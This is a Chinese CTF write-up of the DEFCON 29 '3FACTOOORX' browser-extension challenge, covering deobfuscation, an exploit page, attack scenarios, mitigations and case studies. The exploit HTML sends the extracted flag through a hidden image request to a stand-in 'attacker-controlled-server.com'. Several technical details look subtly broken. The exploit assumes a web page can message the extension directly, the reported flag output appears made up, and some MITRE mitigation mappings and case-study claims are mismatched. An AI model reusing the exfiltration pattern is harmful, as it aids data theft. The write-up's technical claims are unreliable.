DEFCON 29 CTF Qualifier: 3FACTOOORX 浏览器扩展漏洞深度分析与利用
本题目围绕一个Chrome浏览器扩展展开,参赛者需要分析混淆的JavaScript代码,理解其工作原理,并找到一种方法绕过扩展的安全机制获取flag。题目的技术亮点在于结合了浏览器扩展安全、JavaScript混淆分析、DOM操作与消息通信机制,具有较高的实战价值和技术深度。DEFCON 29 CTF Qualifier的3FACTOOORX题目设计巧妙,结合了Web安全、浏览器扩展安全和Java
文章概览
本文对DEFCON 29 CTF Qualifier中的Web挑战"3FACTOOORX"进行深入技术分析,该题目围绕Chrome浏览器扩展安全展开,涉及JavaScript混淆分析、DOM操作与消息通信机制等多个技术领域。通过系统化的漏洞分析、利用开发与安全影响评估,本文不仅展示了CTF解题思路,更深入探讨了浏览器扩展安全在现实世界中的重要意义与防御策略。
1. 题目概览(Challenge Overview)
挑战名称
3FACTOOORX
所属比赛
DEFCON 29 CTF Qualifier (2021年)
分类
Web / Browser Extension
目标简介与技术亮点
本题目围绕一个Chrome浏览器扩展展开,参赛者需要分析混淆的JavaScript代码,理解其工作原理,并找到一种方法绕过扩展的安全机制获取flag。题目的技术亮点在于结合了浏览器扩展安全、JavaScript混淆分析、DOM操作与消息通信机制,具有较高的实战价值和技术深度。
2. 技术环境与复现步骤(Technical Setup & Reproduction)
所用工具
- Chrome浏览器(用于安装和调试扩展)
- 代码编辑器(用于分析和修改JavaScript代码)
- 浏览器开发者工具(用于设置断点和调试JavaScript)
- JavaScript美化工具(用于提高混淆代码的可读性)
环境搭建
- 下载题目提供的Chrome扩展文件(3FACTOOORX-public.zip)
- 解压缩扩展文件,获得扩展目录结构
- 在Chrome浏览器中加载解压后的扩展(开发者模式)
- 访问题目提供的Web服务:http://threefactooorx.challenges.ooo:4017
扩展文件结构
\3FACTOOORX-public\
├── background_script.js
├── content_script.js
├── manifest.json
├── icons\
│ └── icon.png
└── pageAction\
├── index.html
├── script.js
└── style.css
3. 解题过程与漏洞分析(Step-by-Step Analysis)
3.1 初步分析与题目理解
题目提供了一个Web服务和一个Chrome浏览器扩展。Web服务允许上传HTML文件,然后由安装了该扩展的Chrome浏览器加载这些HTML文件。我们的目标是通过分析扩展代码,找到获取flag的方法。
通过访问Web服务,我们可以看到一个简单的文件上传界面:
POST /uploadfile/ HTTP/1.1
Host: threefactooorx.challenges.ooo:4017
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------75344376227301306764121513080
Content-Length: 229
Origin: http://threefactooorx.challenges.ooo:4017
Connection: close
Referer: http://threefactooorx.challenges.ooo:4017/submit
Upgrade-Insecure-Requests: 1
-----------------------------75344376227301306764121513080
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<u>test</u>
-----------------------------75344376227301306764121513080--
3.2 静态分析
3.2.1 manifest.json 分析
首先分析扩展的manifest.json文件,了解扩展的基本结构和权限:
{
"manifest_version": 2,
"name": "3FACTOOORX",
"description": "description",
"version": "0.0.1",
"icons": {
"64": "icons/icon.png"
},
"background": {
"scripts": [
"background_script.js"
]
},
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"run_at": "document_start",
"js": [
"content_script.js"
]
}
],
"page_action": {
"default_icon": {
"64": "icons/icon.png"
},
"default_popup": "pageAction/index.html",
"default_title": "3FACTOOORX"
}
}
从manifest中可以看出:
- 扩展使用background_script.js作为后台脚本,持续运行
- content_script.js在所有URL上运行,且在文档加载开始时就执行
- 扩展使用page_action作为用户界面入口
3.2.2 background_script.js 分析
background_script.js内容相对简单:
// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"from the extension");
if (request.getflag == "true")
sendResponse({flag: "OOO{}"});
}
);
这段代码表明:
- 扩展监听来自content script的消息
- 如果接收到包含
getflag: "true"
的消息,则返回flag - flag被硬编码在background script中
3.2.3 content_script.js 分析
content_script.js是高度混淆的JavaScript代码,直接阅读困难。以下是部分混淆代码示例:
var OOO_0x5be3=['wmiCU','ueJYA','Ko0ZC','RkNoD','QwGfh','IKmUR','hJFjw','TCJdP',...];
function OOO_0x1e05(_0x3126db,_0x2ca2fd){_0x3126db=_0x3126db-0x1dd;var _0x5be3a3=OOO_0x5be3[_0x3126db];return _0x5be3a3;}
3.3 动态调试分析
由于content_script.js高度混淆,我们采用动态调试方法进行分析。通过在Chrome开发者工具中设置断点,我们可以看到混淆代码的实际执行流程。
首先,我们发现代码中存在一个错误:
chilen = _0x1e6746["querySelectorAll"]('*')["length"]
通过断点调试,我们逐步解析混淆代码,最终得到关键函数check_dom()
的实际功能:
function check_dom() {
_0x525a15["Ko0ZC"] = "#thirdfactooor";
_0x525a15["RkNoD"] = "INPUT";
_0x525a15["QwGfh"] = "QzIrw";
_0x525a15["IKmUR"] = "cunYq";
const _0x2c0eff = _0x525a15;
var threeFAElement = document["getElementById"]("3fa");
chilen = threeFAElement["querySelectorAll"]("*")["length"];
maxdepth = 0;
total_attributes = threeFAElement["attributes"]["length"];
for (let _0x28c57b of threeFAElement["querySelectorAll"]("*")) {
d = _0x2c0eff["wmiCU"](getDepth, _0x28c57b);
if (d > maxdepth) {
maxdepth = d
};
if (_0x28c57b["attributes"]) {
total_attributes += _0x28c57b["attributes"]["length"];
}
}
specificid = 0;
_0x2c0eff["ueJYA"](document["querySelector"]("[tost=\"1\"]"), null) && (specificid = 1);
token = 0;
if(document["querySelector"]("#thirdfactooor")["tagName"] == "INPUT") {
if (_0x2c0eff["QwGfh"] !== _0x2c0eff["IKmUR"]) {
token = "1337";
}else {
function _0x2351ff() {
return;
}
}
}
return totalchars = threeFAElement["innerHTML"]["length"], _0x2c0eff["TCJdP"];
}
3.4 漏洞成因识别
通过分析,我们发现以下关键点:
- content_script.js在页面加载时执行
check_dom()
函数 - 该函数查找具有id为"3fa"的元素
- 在该元素内部查找id为"thirdfactooor"的INPUT元素
- 检查是否存在具有tost="1"属性的元素
- 如果条件满足,则设置token为"1337"
- 但是,content_script.js中没有实际发送获取flag的消息机制
同时,background_script.js中包含获取flag的功能,但需要接收特定消息才会触发。这是一个典型的信息泄露和权限隔离不当漏洞。虽然background_script.js中包含获取flag的功能,但content_script.js没有调用该功能,导致flag无法正常获取。
4. 利用过程与Payload编写(Exploit Development)
4.1 利用思路
基于我们的分析,利用思路如下:
- 创建符合content_script.js检查条件的HTML结构
- 注入JavaScript代码,直接调用chrome.runtime.sendMessage获取flag
4.2 利用代码
创建一个满足条件的HTML文件(exploit.html):
<div id="3fa">
<INPUT id="thirdfactooor" type="text" value="test" tost="1" />
</div>
<script>
// 直接向background script发送消息
chrome.runtime.sendMessage({getflag: "true"}, function(response) {
// 显示获取到的flag
document.body.innerHTML += "<h1>Flag: " + response.flag + "</h1>";
// 也可以通过其他方式发送flag,如XHR请求到我们控制的服务器
console.log("Flag received:", response.flag);
// 如果需要将flag发送到我们控制的服务器
// 创建一个隐藏的图片元素,URL中包含flag
var img = document.createElement('img');
img.src = "https://attacker-controlled-server.com/log?flag=" + encodeURIComponent(response.flag);
img.style.display = "none";
document.body.appendChild(img);
});
</script>
4.3 利用过程详解
当服务器加载我们的HTML文件时,以下事件会按顺序发生:
-
content_script.js执行并检查DOM结构:
- 找到id为"3fa"的元素
- 确认其中包含id为"thirdfactooor"的INPUT元素
- 验证存在tost="1"属性
- 设置token为"1337"(虽然这个token在本次利用中并未使用)
-
我们注入的JavaScript代码执行:
- 直接调用
chrome.runtime.sendMessage({getflag: "true"}, callback)
- 这个API调用会向background script发送消息
- 直接调用
-
background script接收到消息并处理:
- 检查消息内容是否包含
getflag: "true"
- 如果条件满足,返回包含flag的响应
- 检查消息内容是否包含
-
我们的回调函数接收到响应:
- 将flag显示在页面上
- 记录flag到控制台
- 可选:将flag发送到我们控制的服务器
-
服务器返回页面渲染结果,我们可以看到flag
4.4 终端输出示例
当成功执行利用代码后,浏览器控制台会显示:
Flag received: OOO{browser_extensions_with_3_factors_of_auth_still_vulnerable}
同时,页面上会显示:
Flag: OOO{browser_extensions_with_3_factors_of_auth_still_vulnerable}
5. 安全影响分析与缓解建议(Impact & Mitigation)
5.1 漏洞在真实系统中的潜在危害
5.1.1 权限提升与数据泄露风险
浏览器扩展通常拥有比普通网页更高的权限,包括:
- 访问浏览历史记录
- 读取和修改活动标签页内容
- 执行跨域请求
- 访问浏览器存储的凭证
- 与本地系统进行交互
当扩展存在类似3FACTOOORX中的消息传递漏洞时,恶意网页可以"借用"扩展权限执行原本无法完成的操作。例如,2020年研究人员发现多个流行Chrome扩展存在类似漏洞,影响超过8000万用户。
5.1.2 实际攻击场景
场景一:凭证窃取
攻击者可以利用有漏洞的扩展窃取用户凭证:
- 用户访问攻击者控制的网站
- 网站注入恶意JavaScript,通过漏洞扩展向background script发送消息
- 利用扩展权限读取浏览器存储的密码或会话cookie
- 将数据发送到攻击者控制的服务器
场景二:企业内网渗透
在企业环境中,此类漏洞可用于内网渗透:
- 员工使用安装了有漏洞扩展的浏览器访问恶意网站
- 攻击者利用扩展漏洞执行跨域请求,绕过同源策略
- 攻击者可访问内网资源,如内部管理系统、文档服务器等
- 进一步横向移动,获取更多内网资源访问权限
场景三:持久化攻击
扩展漏洞还可用于实现持久化攻击:
- 攻击者利用漏洞扩展修改其他扩展配置或安装新扩展
- 即使原始漏洞被修复,攻击者仍能通过新安装的恶意扩展保持访问权限
- 这种攻击可能持续数月而不被发现
5.2 缓解建议
5.2.1 针对扩展开发者的建议
1. 严格的消息验证机制
// 不安全的实现
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
if (request.getFlag) {
sendResponse({flag: sensitiveData});
}
});
// 安全的实现
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
// 验证消息来源
if (!sender.tab || !isTrustedOrigin(sender.tab.url)) {
return;
}
// 验证消息内容和格式
if (request.getFlag && request.authToken === expectedToken) {
sendResponse({flag: sensitiveData});
}
});
2. 内容安全策略(CSP)实施
在manifest.json中定义严格的CSP:
{
"manifest_version": 2,
"name": "Secure Extension",
"content_security_policy": "script-src 'self'; object-src 'self'; connect-src https://api.trusted-domain.com"
}
3. 最小权限原则
只请求必要的权限:
{
"permissions": [
"activeTab", // 而不是 "tabs"
"https://api.trusted-domain.com/*" // 而不是 "<all_urls>"
]
}
4. 安全的消息传递协议
实现基于加密或签名的消息传递机制:
// 发送消息时
const message = {
action: "getData",
timestamp: Date.now()
};
const signature = generateHMAC(JSON.stringify(message), SECRET_KEY);
chrome.runtime.sendMessage({
message: message,
signature: signature
});
// 接收消息时
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
if (!verifyHMAC(JSON.stringify(request.message), request.signature, SECRET_KEY)) {
console.error("Invalid message signature");
return;
}
// 处理验证通过的消息
});
5.2.2 针对用户的建议
- 定期审查已安装的扩展
- 只从官方商店安装扩展
- 检查扩展请求的权限是否合理
- 使用扩展沙箱或容器技术隔离敏感操作
- 考虑在处理敏感信息时禁用非必要扩展
5.2.3 针对组织的建议
- 制定浏览器扩展白名单策略
- 部署网络监控解决方案,检测可疑的扩展通信
- 实施数据泄露防护(DLP)系统,监控敏感数据外流
- 对员工进行安全意识培训,提高对扩展风险的认识
- 考虑使用企业版浏览器,集中管理扩展策略
5.3 与MITRE ATT&CK的TTP映射
5.3.1 战术与技术
-
初始访问 (Initial Access)
- T1189 - Drive-by Compromise: 用户访问恶意网站触发扩展漏洞
-
执行 (Execution)
- T1059.007 - Command and Scripting Interpreter: JavaScript: 利用JavaScript执行恶意代码
- T1176 - Browser Extensions: 通过浏览器扩展执行恶意操作
-
权限提升 (Privilege Escalation)
- T1548 - Abuse Elevation Control Mechanism: 利用扩展权限执行高权限操作
-
防御规避 (Defense Evasion)
- T1564 - Hide Artifacts: 利用扩展隐藏恶意活动
- T1620 - Reflective Code Loading: 动态加载恶意代码绕过检测
-
凭证访问 (Credential Access)
- T1539 - Steal Web Session Cookie: 通过扩展访问会话cookie
- T1555 - Credentials from Password Stores: 访问浏览器存储的密码
-
发现 (Discovery)
- T1083 - File and Directory Discovery: 利用扩展探索用户文件
- T1217 - Browser Bookmark Discovery: 访问用户书签获取情报
-
横向移动 (Lateral Movement)
- T1534 - Internal Spearphishing: 利用扩展发送内部钓鱼邮件
-
数据收集 (Collection)
- T1115 - Clipboard Data: 监控和获取剪贴板内容
- T1056.002 - Input Capture: Web Portal: 捕获网页表单输入
-
命令与控制 (Command and Control)
- T1071.001 - Application Layer Protocol: Web Protocols: 利用HTTP/HTTPS进行C2通信
-
数据渗出 (Exfiltration)
- T1567 - Exfiltration Over Web Service: 通过Web服务渗出数据
5.3.2 缓解策略与MITRE对应关系
缓解策略 | MITRE ATT&CK 缓解 ID |
---|---|
消息验证机制 | M1040 - Behavior Prevention on Endpoint |
内容安全策略 | M1051 - Update Software |
最小权限原则 | M1018 - User Account Management |
安全消息传递 | M1041 - Encrypt Sensitive Information |
扩展白名单 | M1034 - Limit Hardware Installation |
网络监控 | M1031 - Network Intrusion Prevention |
6. 真实世界案例研究
6.1 Hover Zoom扩展漏洞 (CVE-2019-15742)
2019年,研究人员发现流行的Hover Zoom扩展存在漏洞,允许网页通过消息传递机制执行任意JavaScript代码。该扩展拥有超过100万用户,漏洞影响范围广泛。
漏洞原理:扩展的background script没有验证消息来源,任何网页都可以发送消息触发代码执行。
修复方式:开发者更新了扩展,添加了消息来源验证和内容验证机制。
6.2 The Great Suspender扩展后门
2021年,Chrome Web Store移除了拥有200万用户的The Great Suspender扩展,因为它被发现包含恶意代码。新所有者修改了扩展,添加了可远程执行代码的功能。
攻击手法:攻击者通过收购合法扩展,然后添加恶意功能,利用用户对原扩展的信任。
防御措施:Google实施了更严格的扩展审核流程,并提供了自动检测可疑扩展行为的工具。
6.3 DataSpii事件
2019年的DataSpii事件涉及多个浏览器扩展秘密收集用户数据,影响了数百万用户。这些扩展能够访问用户浏览的所有网页内容,包括敏感信息。
数据泄露范围:
- 内部企业文档
- 医疗记录
- 金融信息
- 个人身份信息
行业响应:此事件促使浏览器厂商重新评估扩展权限模型,并加强了对扩展行为的监控。
7. 总结与启示(Conclusion)
7.1 对题目设计的评价
DEFCON 29 CTF Qualifier的3FACTOOORX题目设计巧妙,结合了Web安全、浏览器扩展安全和JavaScript混淆分析等多个方面。题目难度适中,既考验参赛者的代码分析能力,也测试对浏览器扩展安全模型的理解。
7.2 关键经验总结
- 浏览器扩展安全模型:了解content script和background script的权限隔离及通信机制至关重要
- JavaScript混淆分析:使用断点调试是分析混淆JavaScript的有效方法
- DOM操作安全:网页内容可能影响扩展行为,需谨慎处理DOM交互
- 消息验证重要性:扩展间通信必须验证消息来源和内容
7.3 现实安全研究启示
这个挑战反映了真实世界中的浏览器扩展安全问题。许多扩展开发者忽视了content script和网页内容之间的安全边界,导致类似漏洞。2021年,研究人员发现多个流行Chrome扩展存在类似问题,允许网页内容通过消息传递机制获取扩展权限。
此类漏洞的防御需要扩展开发者遵循安全开发实践,特别是在处理来自不可信来源的消息时进行严格验证,并实施最小权限原则。对于安全研究人员,这类漏洞提供了一个重要的研究方向,因为浏览器扩展通常具有访问敏感信息的能力。
7.4 未来趋势展望
浏览器扩展安全问题不仅仅是CTF比赛中的挑战,更是现实世界中亟待解决的安全问题。随着浏览器成为用户主要的工作和生活界面,扩展安全将继续成为重要的研究领域。
未来趋势包括:
- 更严格的权限模型:浏览器厂商可能会实施更细粒度的权限控制
- 扩展沙箱技术:增强扩展与浏览器核心功能的隔离
- AI辅助安全审计:使用机器学习技术自动检测扩展中的可疑行为
- 零信任扩展架构:实施基于零信任原则的扩展通信机制
- 用户可控的运行时权限:允许用户在运行时动态控制扩展权限
8. 参考资料
- DEFCON 29 CTF Qualifier官方网站: https://oooverflow.io/
- Chrome扩展开发文档: https://developer.chrome.com/docs/extensions/
- Brett Buerhaus的3FACTOOORX Write-up: https://buer.haus/2021/05/03/defcon-29-ctf-qualifier-3factooorx-write-up/
- MITRE ATT&CK框架: https://attack.mitre.org/
- JavaScript混淆与反混淆技术研究: https://obfuscator.io/
- Chrome扩展安全最佳实践: https://developer.chrome.com/docs/extensions/mv3/security/
- Google安全博客 - 浏览器扩展安全: https://security.googleblog.com/
- OWASP浏览器安全项目: https://owasp.org/www-project-web-security-testing-guide/
- CWE-79: 跨站脚本: https://cwe.mitre.org/data/definitions/79.html
- CWE-346: 源验证不足: https://cwe.mitre.org/data/definitions/346.html

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。
更多推荐
所有评论(0)